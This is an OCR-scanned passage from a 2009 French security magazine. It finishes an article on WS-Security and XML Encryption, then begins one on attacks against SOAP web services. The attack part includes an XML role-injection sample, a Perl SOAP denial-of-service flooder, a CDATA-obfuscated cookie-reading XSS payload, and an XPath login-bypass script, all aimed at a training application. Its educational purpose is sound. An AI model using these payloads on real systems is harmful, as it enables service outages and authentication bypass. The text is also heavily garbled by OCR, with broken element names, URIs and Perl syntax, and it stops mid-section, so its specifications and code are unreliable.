—# la clef elle-méme, chiffrée selon le mécanisme actuellement
décrit.
E Sérialisation des données :

- en UTF-8, si les données a chiffrer sont un élément ou le
contenu d'un élément XML ;

~# en octets, si les données sont d’'un autre type.

Chiffrement des données avec la clef et selon I'algorithme
choisi.

Construction de la structure nécessaire au stockage
des informations de chiffrement (<Encryptedlata> ou
<tncryptedkey>) et localisation du lieu de stockage des
informations chiffrées, a savoir un élément <Cipreriata>
pour des données locales ou une référence a une URI
pour des données externes.

3.2.2 Déchiffrement

El Récupération des paramétres de chiffrement et du bloc
<KeyInfo>.
Localisation de la clef de déchiffrement et éventuelle-
ment de la clef permettant son déchiffrement.

El Localisation des données chiffrées soit au sein du docu-
ment, soit & I'extérieur et identifié par une référence.

Déchiffrement des données avec les éléments récupérés
aux étapes 1 et 2.

3.3 Les données chiffrées

3.3.1 <EncryptedType>

Tous les éléments de données ou de clefs chiffrées sont
construits a partir du méme type abstrait: <EncryptedTypes.
Ce type définit plusieurs blocs qui peuvent étre classés en
deux catégories :

—#l Eléments de chiffrement : un groupe qui contient des
informations sur la méthode de chiffrement, les clefs, les
données chiffrées et les propriétés de chiffrement ;

-8 Informations : contenant les données optionnelles telles
que I'ID du blog, les types XML et MIME des données chif-
frées ainsi que leur encodage.

3.3.2 Méthodes de chiffrement

N'importe quelle méthode de chiffrement peut étre utilisée
pour le chiffrement des données XML. Toutefois, le support de
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certaines est explicitement requis et leur URI de référence est

précisée dans la norme.

Requis 1t _:_i}w_mgw.w.g,?:gsom/oa}
s | Requis _[‘ffﬂ.'-'fﬂlwwwg;?‘;;:yzom/uf

it oot http://www.w3.0rg/2001/04
Optionnel | /ot /v e&i‘gz’i:bcg /oa/

| Requis

htt f:_{f,_?w Ww.w3.0rg/2001/04/
~xmlenc? 256-che :

L'URI donnée dans le tableau est un attribut de I'élément
<encrypteddethod>,

3.3.3 Données chiffrées et références

Les données chiffrées peuvent étre intégrées directement

dans un élément dérivé du type <EncryptedType>, Dans ce cas, il
correspond aux données d'un élément <Cipherialye>, Il est éga-
lement possible que I'élément <{ipherialue> ne soit pas fourni.
Dans ces conditions, la source & partir de laquelle les données
chiffrées peuvent étre obtenues est identifiée par un élément
<Cipherieferences, Une liste d'opérations de transformation peut
également étre fournie au cas ou les données ont été modifiées
en amont de leur stockage sur un composant externe.

Dans l'exemple qui suit, les données chiffrées sont
récupérées depuis 'URI http://www.example.com/
CipherValues.xml (ligne 0), puis extraites avec l'expression
xPath donnée & la ligne 5. La valeur extraite est ensuite décodée
de Base64 comme précisé par I'élément <Transforn> & la ligne 8.

@ <CipherReference URI="http://www.example.com/CipherValues.xnl">
1 <Transforms>

2 <ds:Transform

3 Agorithm="htEp://www.w3.0rg/TR/1999/REC-xpath-19991116">

4 <gs:XPath xmins:rep="nttp://www.example.org/repository">
5 selfiitext()[parent::rep:CipherValue[@Id="exanplel']]

b </ds:{Path>

; </ds:Transform>

9

10

<ds:Transform Algorithm="http://www.wd.org/2008/69/xnldsigkbased" />

</Transforns>
</CipherReference>

3.4 Composants de la clef
de chiffrement

3.4.1 Eléments de la clef

Les éléments nécessaires au déchiffrement des données ou

de la clef de chiffrement sont fournis par I'élément <ds:KeyInfo>
Toutefois, il n'est pas toujours nécessaire de fournir la clef de
chiffrement, dans la mesure o il est possible que les deux par-
ties aient échangé les informations appropriées via un autre

canal de communication. Par conséquent, le bloc <ds:{eyinfo> est

optionnel. Ce bloc fournit les informations suivantes :
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—# la valeur de la clef, contenue dans I'élément <keylaiue> ;
— le nom de la clef, qui fait référence a I'élément <Carriedkeylame>
d’un bloe <Encryptedkey> ;
—8 une référence a 'endroit ot est localisée la clef, sous forme
d'URI
Dans le cas d'un bloe <Encryptedfey> localisé a 'extérieur
d'un bloe <ds:KeyInfo>, il est possible de préciser a quel bloe
<Encryptedkey>ou <Encryptediata> il s'applique.

3.4.2 L’élément <EncryptedKey>

Lélément <Encrypted<ey> fournit trois extensions au type abs-
trait <EncryptedType> :

— <Referencelist> : cet élément est optionnel et contient des
pointeurs vers les données chiffrées a I'aide de la clef.

@ <Carriedfeyliane> : est également un élément optionnel
et fournit une description en langage courant de la clef
contenue dans I'élément <Encryptediey>. Lorsque I'élément
<CarriedfeyName> est défini, sa valeur peut étre utilisée pour
référencer la clef contenue dans un bloe <ds:feyInfo,

— <Recipient>
<Encryptedkey>, Il fournit les informations concernant le des-

: est un attribut optionnel de I'élément

tinataire de la clef. Ses valeurs possibles ne sont pas définies
dans la norme.

3.4.3 Relations entre clés et
données chiffrées

Dans l'exemple suivant, un élément <tncrypteclate> (avee
I'ID 'ED') est défini. Il utilise une clef définie dans un élé-
ment <tncryptediey> (avee I'ID 'EK') situé en dehors de I'élément
<ds:KeyInfo>,

1 <EncryptedData [d="ED'
xmins="http://www.w3.0rg/2001/04/ xmiencit'>
2 <EncryptionMethod
Algorithm="http://www.w3.0ra/2001/B4/xmlencHaeslB-che'/>
<ds:KeyInfo xmins;ds='http://www.u3.0r0/2008/09/xmldsig% ">
<ds:Retrievalliethod URI="4EK'
Type="http://www.u3.0ra/2061/84/xmlenc#Encryptediey”/>
5 <ds:KeyName>Julie NARTIN</ds:KeyName>
6  </ds:KeyInfo>
7 <CipherData><CipherValue>DEADBEEF</CipherValue></CipherData>
8 </Encryptedlate>
9
]

)

<Encryptedkey Id="EK' xmins="http://www.u3.0rq/2001/4/xmienc#'>
<EncryptionMethod
Algorithm="htp://www.n3.0rg/2801/84/xnlenckrsa-1_5"/>

11 <ds:KeyInfo xmins:ds="http:/fwww.u3.org/2000/9/xn1dsigs'>

12 <ds:KeyName>Harcel DUPOND</ds:KeyName>

13 </ds:KeyInfo>

14 <CipherData><CipherValue>xyzabe</CipherValue></CipherData>

15 <Referencelist>

16 <DataReference URI='#ED'/>

17 </Referencelist>

18  <CarriedKeyName>Julie NARTIN</CarriedKeyName>

19 </Encryptadiay>

L'algorithme de chiffrement retenu est AES 128 bits

(ligne 2). A la ligne 4, le bloc <is:keyInfo> contient un élément
<RetievalMethod> qui pointe sur une URI faisant référence a un
élément du document dont I'ID est 'EX'. La clef est identifiée
par son nom & la ligne 5, la valeur est 'Julie MARTIN'. Les données
chiffrées sont 4 la ligne 7. L'élément <Encryptediey> avee I'ID 'EK
est défini ligne 9. A 1a ligne 16, I'élément avec I'ID 'f0" est réfé-
rencé comme étant chiffré avec cette clef. A la ligne 18, le nom
de la clef contenue par I'élément <Encryptediey> est explicitement
donné. Tl correspond au nom donné dans I'élément <(eylzme> &

la ligne 5.

4. Protection des messages SOAP

4.1 L’en-téte de sécurité

WS-Security précise l'utilisation d'un nouvel en-téte de

nécessaires au traitement des informations sécurisées trans-
portées par le message SOAP. Chaque en-téte est destiné 4 un
acteur spécifique. Par conséquent, il est possible quun message
SOAP contienne plusieurs en-tétes <wsse:5ecurity>, un par acteur

destinataire de parties de messages sécurisées différentes.

En revanche, si un service intermédiaire souhaite rajouter des
informations sécurisées & destination d’'un systeme déja identi-
fié dans un en-téte <usse:Security>, cet intermédiaire doit rajouter
un élément dans l'en-téte existant et non créer un nouvel en-téte.
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11 est important de noter que WS-Security n'impose aucune
méthode concernant I'ajout d’éléments dans l'en-téte. Toutefois,
il est recommandé de rajouter les nouveaux éléments avant les
anciens dans l'en-téte. De cette maniére, les éléments peuvent
&tre traités dans I'ordre inverse de celui dans lequel ils ont été
ajoutés. Dans le méme ordre d'idées, il est également recom-
mandé de faire précéder un élément faisant usage d'une clef par
I'élément contenant cette clef.

Les attributs de 'en-téte <usse:Security> sont donnés dans la
table ci-dessous (811 et S12 font respectivement référence aux
espaces de nommage SOAP 1.1 et SOAP 1.2).
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Attribut Description Commenlaires

Option'nei
Un seul en-téte <usse:Security> peut ne pas préciser cet attribut, Deux blocs
<wsseiSecurity> ne peuvent pas avoir le méme attribut S11:actor ou S172:role

Silvactor/Si2irole Identifie un destinataire SOAP

At R e S B Rl Les valeurs possibles sont 0 et 1 (également 712 ou fils2 pour SOAP 1.2).

Sll:mustUnderstand/

512:musttnderstand

de 'en-téte est oblic

satoire ou non

La valeur par défaut est o (false).

4.2 XML Encryption et

XML Signature

WS-Security s'appuie essentiellement sur XML Eneryption
et XML Signature. Toutefois, quelques particularités et limi-
tations sont recommandées pour leur utilisation dans le cadre
de la norme. Ces recommandations ne sont toutefois pas impo-
sées dans la mesure ot elles sont précisées via les directives
"SHOULD" et "SKOULD NOT', ce qui laisse la possibilité d'implémenter
des mécanismes compromettant I'interopérabilité entre les sys-

témes ou réduisant le niveau de sécurité des messages.

4.2.1 XML Signature

Le support de XML Signature est obligatoire dans le cadre
de la norme WS-Security.

La principale recommandation de WS-Security au regard
de l'utilisation de XML Signature concerne la possibilité qua
un message SOAP d'étre enrichi de nouveaux éléments tout au
long de la chaine applicative et jusqu’a sa destination finale. Cela
signifie quun élément signé peut étre intégré & un autre élément,
lui-méme signé. Cette situation souléve deux problématiques

illustrées par l'exemple suivant.

Un message est créé par un premier Web Service (W1) avec
un en-téte et un corps. Ces éléments sont signés par WS1. Un
second Web Service (WSz2) rajoute un en-téte et un corps, conte-
nant 'en-téte et le corps créés par WS1. §i WS2 veut également

signer les éléments qu'il a ajoutés, il est nécessaire que :

—8 WS2 puisse accéder aux éléments fournis par WS1, ce qui
n'est pas possible si WS1 utilise une signature enveloppante
(I'élément signé est alors contenu dans un élément <0bject>) ;

—# I'élément WSz (contenant WS1) puisse étre signé tel quel. Par
conséquent, aucune transformation ne doit étre appliquée
aux éléments positionnés par WS1,

WS-Security édicte par conséquent deux régles permettant
de s’affranchir de ces contraintes :
— Les signatures enveloppantes NE DEVRAIENT PAS étre
utilisées.

- La transformation de signature enveloppée (enveloped
signature transform) NE DEVRAIT PAS étre utilisée.

Une derniére contrainte, qui tombe toutefois sous le sens,
est que le contenu signé DEVRAIT étre inclus dans le message.
Cette assertion est relativement logique dans la mesure ot l'ob-
jectif de WS-Security est de fournir des mécanismes de sécurité
des messages SOAP, et non de contenus externes & ces messages.

4.2.2 XML Encryption

Le support de XML Eneryption est obligatoire dans le cadre
de la norme WS-Security.

Limplémentation de XML Encryption dans le cadre de
WS-Security est améliorée dans la mesure on elle doit rendre
possible le chiffrement de tout ou partie des éléments de l'en-téte
et du corps du message. Cette flexibilité repose sur l'extension
de certains composants de XML Encryption, ainsi que sur la
définition d'un nouvel élément : <Wssell:Encryptedteader>,

Les données chiffrées sont contenues dans les éléments
<tncryptedlata> de I'enveloppe SOAP, a l'exception des éléments
chiffrés de l'en-téte SOAP, contenus dans le nouvel en-téte
<wssell:EncryptedHeader>, Afin d'identifier quelles parties du mes-
sage ont été chiffrées, WS-Security enrichit I'utilisation du bloe
<Heferencelist> dont les éléments <Datafeference> pointent sur les
éléments chiffrés. Ce mécanisme est une extension de XML
Encryption dans la mesure ou le bloc <Referencelist> était uni-
quement destiné & étre contenu dans le bloc <Encryptediey> afin
d’identifier les blocs chiffrés avec la clef en question.

1]

Toutefois, WS-Security prend en compte le fait que les dif-
férents éléments peuvent avoir été chiffrés avec des clefs diffé-
rentes. Dans ce cas, les clefs en question doivent étre contenues
ou référencées dans les blocs <feyinfo> spécifiques.

4.3 Les jetons de sécurité

Le role des jetons de sécurité dans WS-Security est de trans-
porter et de signer les déclarations des acteurs de la chaine
applicative. WS-Security ne précise toutefois pas la maniére
dont ces déclarations doivent étre validées. Par conséquent, les
déclarations peuvent étre utilisées de différentes maniéres en
fonction de I'implémentation du Web Service et du niveau d'in-
teropérabilité recherché.

Trois types de jetons sont définis dans WS-Security :
username, binaires et XML. I1s peuvent étre utilisés pour trans-
mettre des informations d'authentification, de session, etc.
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4.3.1 Les jetons username

Ces jetons sont les plus simples, et, comme leur nom l'in-
dique, sont utilisés pour transmettre le nom (ou plus précisé-
ment I'identifiant) de I'utilisateur. Le jeton est identifié par un
bloe <usse:Usernameloken> contenant I'identifiant de I'utilisateur
dans un élément <wsse:Username Dans le cas ot 'authentification
serait effectuée par l'application elle-méme, un mot de passe
peut étre transporté dans le jeton, en clair ou via un hash. La
premiére option est fortement déconseillée a 'exception des
mots de passe a usage unique (OTP - One Time Password), tels
que ceux utilisés pour l'authentification via S/Key.

Les mots de passe « hachés » sont construits a partir d'une
graine (élément <\once> et d'un timestamp (élément <Creited>)
selon la formule suivante : Password_Digest = Base64 (SHA-1
(nonce + created + password)).

Un exemple de chaque type de jeton username est donné
ci-dessous.

Jeton simple :

<wsse:lsernameloken>
<wsse:Username>Paul Smith</wsse:Username>
</wsse:UsernameToken>

Jeton avec mot de passe en clair :

<lisernameToken>

<Username>Paul Smith</Username>

<Password Type="PasswordText">MyPassword</Password>
</UsernameToken>

Jeton avec mot de passe « haché » :

<UsernameToken>
<Username>Paul Smith</Username>
<Password Type="PasswordDigest">XYZARAY</Password>
<Honce>123521</Nonce>
<Created>2085-11-24T15:00:007</Created>
</UsernaneToken>

4.3.2 Jetons binaires et XML

Le type de jeton « XML » fait essentiellement référence aux
assertions SAML. Toutefois, tout type de jeton XML, tel que les
jetons biométriques XCBF (XML Common Biometric Format)
ou les jetons d'autorisation XrML (eXtensible Right Markup
Language) est théoriquement supporté par ce type d'éléments.
Ces éléments sont généralement signés et « auto-vérifiés », ce qui
rend inutile ma mise en place d'une tierce-partie de validation.

WS-Security définit également 1'élément
<ysse:BinarySecurityloker> afin de permettre I'utilisation générique
de jetons non-XML. Ces jetons sont appelés « Jetons de Sécurité
Signés » dans la mesure ot ils sont générés et signés crypto-
graphiguement par une autorité de certification. Deux types
de jetons binaires sont explicitement définis par WS-Security :
les certificats X509 et les tickets Kerberos.
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4.3.3 Les références de jeton

Enfin, WS-Security précise un mécanisme d’accés aux élé-
ments externes contenant les clefs nécessaires aux opérations de
validation de signature et de déchiffrement. Il s'agit de 'élément
<wsse:SecurityfokenReference> dont une utilisation type est une uti-
lisation en tant quenfant d'un nceud <Keylnfo=,

Cet élément fournit un méecanisme générique et ouvert permet-
tant de localiser les clefs a I'intérieur des conteneurs appropriés.
Cela est rendu nécessaire par le fait que certains d’entre eux ne
fournissent pas de mécanisme de référencement « standard »
quand certains autres ont méme des schémas fermés.

4.4 WS-Security: Exemples

4.4.1 Exemple 1

Ce premier exemple est extrait de la documentation de la
norme WS-Security et illustre I'utilisation d’'un jeton de sécurité

propriétaire et de sa signature associée.

§1 <txml version="1.0" encoding="utf-8"?>
B2 <SiliEnvelope xmins:S11="..." xminsiwsse="..." xmlnsiwsu="..."
xminsids=",..">

B3 <Sll:Header>

84 <wsse;Security xmins:wsse="...">

#5 <wsse:BinarySecurityToken ValueType="http://
fabrikami23#CustonToken" EncodingType="...#Base64Binary"
wsusTd="MyID">

6 FHUTORY...

a7 <{wsse;BinarySecurityToken>

08 <ds:Signature>

09 <ds:SignedInfo>

18 <ds:CanonicalizationMethod Algorithm= "hEfp://wiw.
w3.0rg/2001/18/xm1-exc-cldn#"/>

11 <ds:Signaturedethod Algorithm= "http://wwi.
w3.org/2008/89/xnldsig#hmac-shal"/>

12 <ds:Reference URI="#MsgBody">

13 <ds:DigestMethod Algorithm= "http://www.

w3.0rg/2000/89/xmdsig#shal"/>

14 <ds:Digestlalue>LyLsFOPidwPl, . </ds:DigestValue>

15 </ds:Reference>

16 </ds:Signedinfo>

17 <ds:Signaturelalue>Dbchmsok. . </ds:Signaturelalue>

18 <ds:KeyInfo>

19 <wsse:SecurityTokenReference>

20 <wsse:Reference URI="#NMyID"/>

21 </wsse:SecurityTokenReference>

2t <fds:KeyInfo>

2 </fds:Signature>

2 <[wsse:Security>

25 </Sil:Header>

26 <S1liBody wsu:ld="MsgBody">

27 <tru:StockSymbol xmins:tru="http://fabrikaml23.com/
payloads™> 000 </tru:StockSymbai>

28 </S1l:Body>

29 </S11:Envelope>



La ligne 02 ouvre 'enveloppe SOAP.
La ligne 03 déclare l'en-téte SOAP.

La ligne 04 ouvre le bloc WS-Security.

Les lignes 08 & 23 spécifient la signature du contenu du
corps SOAP, situé aux lignes 26 a 28,

Les lignes 18 a 22 précisent les informations de clef via I'élé-
ment <Wsse:SecurityTokenReference> (ligne 20) qui pointe sur le jeton
déclaré aux lignes 05 4 07.

4.4.2 Exemple 2
Dans cet exemple, WS-Security est utilisé pour signer un
timestamp, ainsi que le corps du message. Il permet également
de chiffrer un élément du corps du message. Deux certificats
X509 sont utilisés. Un premier pour le chiffrement asymétrique
de la clef de chiffrement, l'autre pour la validation de la signature.

B1 <Txmi version="1.8" encoding="utf-8"7>

B2 <soap:Envelope>

3 <soap:Header>

B4 <wsse:Security>

85 <wsu:Timestamp wsu:Id="T@">

9 </wsu:Timestamp>

10 <wsse:BinarySecurityToken ValueType="...#X509v3"
wsus1d="X509Token" EncodingType=",,.#Baset4Binary">

11

12 </wsse:BinarySecurityToken>

13 <xenc:Encryptedkey> ]

23 <xenc:Referencelist>

24 <xenc:DataReference URI="#encl™>

25 </xenc:Referencelist>

26 </xenc:Encryptedieys

i) <gds:Signature>

28 <ds:SignedInfo>

2 <ds:CanonicalizationMethod algorithm="nttp:/L..-exc-
cldn#'/>

30 <ds:SignatureMethod algorithm="http://...#rsa-shal'/>
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31 <fds:Referance URI="#T0">

3 </ds:Referance>

38 <ds:Reference URI="#body">

44 </ds:Reference>

45 </ds:StgnedInfo>

46 <ds:SignatureValue>.....</ds:SignatureValue>
4 <ds:KeyInfo>

48 <wsse:SecurityTokenReference>

49 <wsse:Reference URI="#I5@9Token"/>
58 </wsse:SecurityTokenReference>

51 </ds:KeyInfo>

52 </ds:Signature>

53 </wsse:Security>

54  </soap:Header>

55  <soap:Body wsu:ld="body">

56 <yenc:Encrynteddata Type="http://www.w3.0rg/2801/04/
xmlenc#Element" wsu:ld="encl">

61 </xenc:EncryptedData>
62 </soap:Body>
63 </soap:Envelope>
Les lignes 05 4 09 définissent un timestamp identifié avec
1D *T8",
Les lignes 10 a 12 contiennent un jeton binaire, sous la forme
d'un certificat X509.

Les lignes 13 a 26 contiennent les informations concernant
les clefs utilisées pour le chiffrement de ’élément référenceé
comme '¢ncl’ dans le corps du message. Cette clef est chiffrée
avec la clef publique contenue dans le certificat fourni dans le
bloc <Keylnfo> aux lignes 15 4 19.

Les lignes 27 & 52 contiennent les signatures. Le bloc
<KeyInfo> aux lignes 47 a 51 fait référence au certificat X509
contenu dans le jeton binaire.

Les lignes 56 & 61 contiennent les données, chiffrées

en Triple-DES (ligne 57) avec la clef définie dans le bloc
<Encryptediey> aux lignes 13 a 26.

Conclusion

La sécurisation des messages SOAP est un élément indis-
pensable pour la pérennité des Web Services. Il est toutefois
nécessaire de prendre en compte la complexité structurelle et
fonctionnelle de telles infrastructures, ainsi que la flexibilité
offerte par 'utilisation de langages et de protocoles peu struc-
turants. C'est le role de WS-Security.

Souvent décriée, cette norme est actuellement la seule a
offrir un spectre fonctionnel adapté aux besoins des Web
Services, ainsi qu'un niveau de sécurité considéré comme

(D Références

satisfaisant, bien que cela dépende énormément des implémen-
tations. Et, avant de ne s'embourber dans des combats d’arrieére-
garde, il est également nécessaire de prendre en compte le fait
que WS-Security est la et que son déploiement devient de plus
en plus fréquent. 1l faut done en prendre la mesure, identifier
ses points forts (flexibilité), ses points faibles (complexité et
overhead) et les intégrer, comme toujours, a une réflexion glo-
bale au niveau de la politique de sécurité. U

Les références sont identiques a celles de 'article précédent « Les Web Services ».

Misc N° 43 - Mai/Juin 2009 31




c N 43 -

DOSSIER

HB

mots-clés : attaque/SAX/DOM / DoS

es Web Services, cest le bonheur ! Des services partout, des interfaces open
bar, des annuaires serviables au-dela de toute espérance et une tonne de
« normes » saturées de nos meilleurs amis « SHOULD » et « MAY ». Mais,

hb@rstack.org

ATTAQUES
SUR LES WEB
SERVICES

rien ne vaut l'absence de connaissance latente dans ce domaine pour ouvrir a tous
vents toutes grandes les portes des systemes d'informations les plus critiques.

1. Itinéraire d’un enfant gaté

1.1 HTTP persiste et signe

Les fondations des Web Services sont HTTP, utilisé
comme protocole de transport et XML qui constitue
la base de la quasi-totalité des langages définis dans
les couches applicatives. Et, rien que ¢a, c’est que du
bonheur. Ce n'est pas tant le choix de ces standards
qui pose probléme que la raison pour laquelle ils ont
été retenus : ils sont flexibles, ouverts et permettent de
faire n'importe quoi. Et 13, c'est le drame.

Bien qu'il serait plus pédagogique de commencer
par la base, et donc le HTTP, je vous épargnerai les
banalités sur ce protocole et les applications qui en
dépendent. Il suffit de se référer au top 10 de 'TOWASP,
qui a été « officiellement » reconnu comme étant tou-
jours valable pour les Web Services.

1.2 De quoi j’me XML ?

Attaquons-nous donc directement & XML. Pour
bien comprendre qui est vulnérable a quoi, il faut étre
au courant d’une subtilité : il existe différents types de
parsers. Concrétement, on distingue deux familles :
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—# les parsers SAX, qui sont « 1égers » et analysent
les données i la volée ;

—# les parsers DOM, plus puissants, capables de
gérer les états et de comprendre l'intégralité de la
structure qu'ils traitent.

1.2.1 Les injections XML

Tout le monde connait le principe des injections,
ne perdons donc pas de temps. En fait, les parsers
construits sur le flux (SAX) sont particuliérement vul-
nérables a la définition multiple d'un méme élément.
En effet, ils se contentent généralement d’'assigner une
valeur aux variables au fur et & mesure que les élé-
ments se présentent, Dans ce schéma, la valeur d'une
seconde occurrence d’'un élément remplace la valeur de
la variable qui lui est associée, précédemment position-
née par la premiére occurrence. Exemple :

<UserRecord>
<10>108374</10>
<Role>User</fRole>
<Name>John Doe</Name> _ 7
<Email>john@doe.com</Email><Role>Adnin</
Role><Email>john@doe, coms/Enail>
<Address>1024 Mountain Street</Address>

<Tip>17008</1ip>
</UserRecord>




L'exemple est assez trivial. Il démontre toutefois qu'une
donnée qui n'est pas accessible a 'utilisateur (je rappelle que
ce dernier ne voit pas le XML et se contente de remplir un for-
mulaire Web) peut étre modifiée allegrement.

Typiquement, on effectuera ce genre d'injection via le fron-
tal du Web Service, & savoir une interface Web. Cette derniere
remplit la requéte SOAP contenant I'élément <l/serfiecord> avee
les données fournies par l'utilisateur au travers d'un formulaire
(champ <Name>, <Enail>, <Address> et <Jip>), ainsi que des données
« internes » (champs <[> et <Role>), Dans notre exemple, l'injec-
tion est effectuée via le champ « email » du formulaire web et
« propagée » dans la structure XML construite en aval.

1.2.2 Les dénis de service

Les parsers XML sont des choses fragiles, susceptibles, et
pas trés malines. Qui plus est, ils tentent d’appliquer les normes
du mieux qu'ils peuvent. Ainsi, lorsque XML ne définit pas la
profondeur maximale d'un nceud, il 0’y a aucune raison pour que
les parsers en appliquent une. Ce serait contre la philosophie du
langage. Dommage. On comprend bien qu'un parser DOM obligé
de comprendre et de stocker I'intégralité d’'une structure de cette
dimension ait du mal. Mais, il y a plus subtil.

Revenons a xPath, décrit dans un article précédent. xPath
fait deux choses. D’abord, il recherche un nceud et, ensuite, il
fournit les éléments de ce nceud. Ca peut étre compliqué, mais
c'est rare. Ce qui est intéressant, c'est que la premiére étape est
essentiellement un travail de CPU et la deuxiéme une opération
de stockage temporaire en mémoire. Et voild | Exemple.

On crée un fichier avec 10000 niveaux de nceuds. Chaque
nom de nceud est précédé d'un nombre d’espaces égal a son index.

#l/use/bin/per]

open(D0S,">dosl.xml"};

for(my $i=8;81<=10000;$i++) { print DOS " "x$1."<a¥i>\n";}
for(my $i=18000;8i>=8;81--) { print DOS " "x$1."</a$i>\n";}
tlose(D0S);

On lance une requéte xPath concernant le nceud <a%99%>,
On obtient :

(:\Temp>per -xgath:-pl dosl.xml //a%999
Searching //a%393 in dosl.xml...

1 found

9999 espaces<ad999>
19008 espaces<allgon>
18800 espaces</al@an0>
9999 espaces</a9999>

Lopération prend quelques secondes, utilise un peu de CPU
au début, mais ¢a reste acceptable.

Demandons maintenant le nceud a700f, comme ¢a, pour voir...

C:\Temp>perl xpath.pl dosl.xml //a7008
Searching //a7B08 in dosl.xml...

1 found

Qut of memory! _
Terminating on signal SIRINT(Z)
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Le graphe d'utilisation des ressources est sans appel :

—

Historitpos ditlization du Fichir déchange

Historique dutilisation du fichier

Lutilisation CPU atteint prés de 100% du cceur en charge
de l'opération et plus de 1,5 Go de mémoire est consommé par
l'opération (qui n'est méme pas finie) alors que le fichier XML
est denviron 100 Mo).

Pratiquement, une telle attaque peut étre effectuée directe-
ment par 'envoi d'une requéte SOAP ou via une injection XML,
qui est plus subtile et constitue un vecteur plus répandu. En
effet, une application qui sélectionne un élément dont le contenu
est fourni par I'utilisateur peut se retrouver exactement dans
notre second scénario si ce contenu est en fait une arborescence
XML un peu costaude, Bien siir, on évitera de soumettre 100 Mo
de données via un formulaire HTTP, mais rien n'empéche de
créer une structure de quelques centaines de nceuds (et sans
espace) et de flooder la cible avec.

A titre d'exemple, le petit programme ci-dessous envoie une
requéte SOAP, & destination de la fonetion Login et avee, pour
parameétre, un <Loginll> « fait maison »...

#/usr/bin/per]

use LWP::lserAgent;

my $ua = LWP::lserAgent->ney;
$ua->agent("S0APD0S/1.0");

my $S0APmsgStart="<soapenviEnvelope xmins:soapeny="htip://schemas.
Xmisoap.org/soap/envelape/” xmins:tem="http://tempuri.org/">
<soapeny:Header/>
<spapenv:Body>
<tem:Login>
<tem:loginlD>";

my $S0APmsgEnd='
</tem:1oginiD>
<tem:password>muahahah</tem;password>
</tem:Login>
</soapeny:Body>
</soapenv:Envelope>';

my $S0APmsgload;

for(ny $1=0;$1<=10000;$i+) {[ $S0APmsgLoad .= "<a$i\n';)
for(ny $1=10000;1>=0:$1--) { $S0APmsgload = "</asix\n";)

ny $SﬁAFmsg=$SOAPmsgStart.$'SOAPmsgLuad.SSOAFmngnd;

my $50APreq = HTTP::Request->new(POST => 'nttp://18.1.2.11/
‘Hacmebank_v2_WS/HebServices/UserManagement.asmx');
$50APreg->content_type('text/xml;charset=UTF8');
$S0APreg->content($S0APmsa);

$ua->request(§S0APreq);
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Si le serveur survit & cela, c’est qu'il ne fait usage de xPath
pour la récupération de la valeur des éléments (probable et
encore assez fréquent) ou qu'il a protégé son application (forte-
ment improbable). Dans tous les cas, remplacer la derniére ligne
parwhile(l) { $ua->request(§S0APreg); } feral'affaire.

1.2.3 Les injections CDATA

XML se veut tellement ouvert que la norme a également
prévu le cas ot 'on souhaiterait intégrer des caractéres non sup-
portés. Cest le réle du champ (0ATA dont les données ne doivent
étre ni analysées, ni interprétées et traitées par le parser comme
elles se présentent. Ce qui nous donne un excellent mécanisme

sur les Web Se

d’évasion vis-a-vis des systémes de détection qui auront du mal
4 détecter I'’XSS persistant que nous avons subtilement inséré
dans notre soumission a un blog quelconque.

<BLOG_ENTRY>
<EMAIL>john@due.com</EMAIL>

<TED _
<I[CDATA[<S1]>CRIP<I[CDATA[T>]]>
alert(document.cookie);
<|[CDATA[<SI]>CRIP<I[COATALT/>]1>
</TEXT>

</BLOG_ENTRY>

A l'instar des injections XML pures, ces injections sont
généralement effectuées via I'interface Web mise en frontal du
‘Web Service.

2. Plus haut et plus fort

2.1 xPath si génial que ca

xPath, c’est comme SQL, a part que :
E] xPath, c'est standard, donc il n'y a pas de spécificités

(quoique, en fonction des implémentations... mais bon) ;

El xPath, ca donne accés au contenu d’'un fichier XML et
il n’y a pas de restrictions d'accés au sein d'un fichier.

Avec ce dernier point, tout est dit, voyons directement les
injections...

2.1.1 I’'injection de base

Basons-nous sur le classique test' or =1 # La principale dif-
ficulté est que xPath ne supporte pas les commentaires en ligne.
Il n'est donc pas possible d’échapper la deuxiéme proposition
d’une expression. La ruse consiste a jouer sur la précédence des
opérateurs, comme dans 'exemple ci-dessous.

Prenons un mécanisme d’authentification qui se reposerait
sur le résultat de 'expression suivante :

Jluser[name='"$1ogin' and pass='$pass'l/account/text()
Si $login=tulauraspascellelafred’ or '1'="1" or '3'='d
et $pass=ilovelarochelle

alors l'expression évaluée par xPath sera : //user[name="tula

uraspascellelafred’ or 'I'='1' or 'a'='b' and pass='ilovelarochelle'l/

jccount/text(). Dans la mesure ot l'opérateur ANl est prioritaire,
cela revient a évaluer (A or B) or (C and [). Vu que le premier
prédicat est toujours vrai (name="tulauraspascellelarred’ or 'I'='1),

c'est gagneé.

Concrétement, cette injection pourrait trés bien étre lan-
cée a partir d'un formulaire d’authentification, comme n'im-
porte quelle injection SQL ou lancée directement contre le Web
Service, comme le fait le petit programme suivant.
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#! fusr/bin/perl

use LWP::lserhgent;

my $ua = LWP::UserAgent->new;
$ua->agent("xPath Injection/1.8");

my $S0APmsgStart="<soapenv:Envelope xmins:soapenv="http://schemas.
xmlsoap.org/soap/envelope/” xmins:tem="http://tenpuri.org/">
<spapenv:Header/>
<spapenv:Body>
<tem:Login>';

my $S0APmsglogin="<ten:loginI0>'.SARGVLE].'</tem:loginID>;
my $S0APmsgPass='<tem:password>HBisBack</tem:password>';

my $SOAPmsgEnd='
</tem:Login>
<[soapeny:Body>
</soapeny;Envelope>';

ny $50APmsq = §50APmsqStart.$S0APmsgLogin.SS0APmsgPass . SSOAPRSIENd;

my $S0APreq = HTTP::Request->new(POST => 'nttp://18.1.2.17/
Hacmebank_v2_KS/WebServices/UserManagement.asmx');
§S0APreg->content_type('text/xml;charset=UTE8');
$S0APreq->content ($S0APmSgl;

my $50APres = $ua->request($S0APreg);

if (§S0APres->is_success) {
my $data=$S0APres->content;
my ($result) = $data =~ /<loginResult>B*(\d)</;
print "Authentication Result : $result = %
if($result) { print "SUCCESS\n"; } else { print
FAILURE\R"; }

}
else {

print §S0APres->status_line, "\n";
}

Ce programme tente d'injecter des « choses » dans I'élément
<LoginlD>, et donne les résultats suivants.




C:\Temp>per] xpath-inject.pl tofo
Authentication Result : @ = FAILURE

C:\Temp>per] xpath-inject.pl "1' or 'I'='1" or 'T'=1"
Authentication Result : 1 = SUCCESS

Voila, voila...

2.1.2 L'opérateur |

xPath nous offre l'opérateur |, espece d’'UNION tres tolérant
qui permet d'évaluer plusieurs expressions de maniére séquen-
